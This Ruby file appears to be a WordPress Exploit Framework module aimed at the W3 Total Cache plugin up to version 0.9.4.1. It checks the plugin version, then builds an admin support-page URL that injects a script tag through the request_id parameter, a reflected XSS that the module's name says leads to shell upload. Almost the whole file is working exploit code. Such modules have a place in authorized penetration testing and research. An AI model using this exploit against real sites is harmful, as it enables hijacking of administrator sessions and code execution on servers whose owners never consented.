# frozen_string_literal: true

class Wpxf::Exploit::W3TotalCacheReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'W3 Total Cache <= 0.9.4.1 Reflected XSS Shell Upload',
      author: [
        'Zerial',    # Disclosure
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '8625'],
        ['URL', 'http://seclists.org/fulldisclosure/2016/Sep/52']
      ],
      date: 'Sep 21 2016'
    )
  end

  def check
    check_plugin_version_from_readme('w3-total-cache', '0.9.4.2')
  end

  def url_with_xss
    normalize_uri(
      wordpress_url_admin,
      'admin.php?page=w3tc_support&request_type=bug_report&payment&'\
      "url=http%3A%2F%2F#{Utility::Text.rand_alpha(6)}.com&"\
      "name=#{Utility::Text.rand_alpha(6)}&email=#{Utility::Text.rand_email}&twitter&phone"\
      "&subject=#{Utility::Text.rand_alpha(6)}&description=#{Utility::Text.rand_alpha(6)}"\
      '&forum_url&wp_login&wp_password&ftp_host&ftp_login&ftp_password&subscribe_releases&'\
      "subscribe_customer&w3tc_error=support_request&request_id=%22%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E"
    )
  end
end
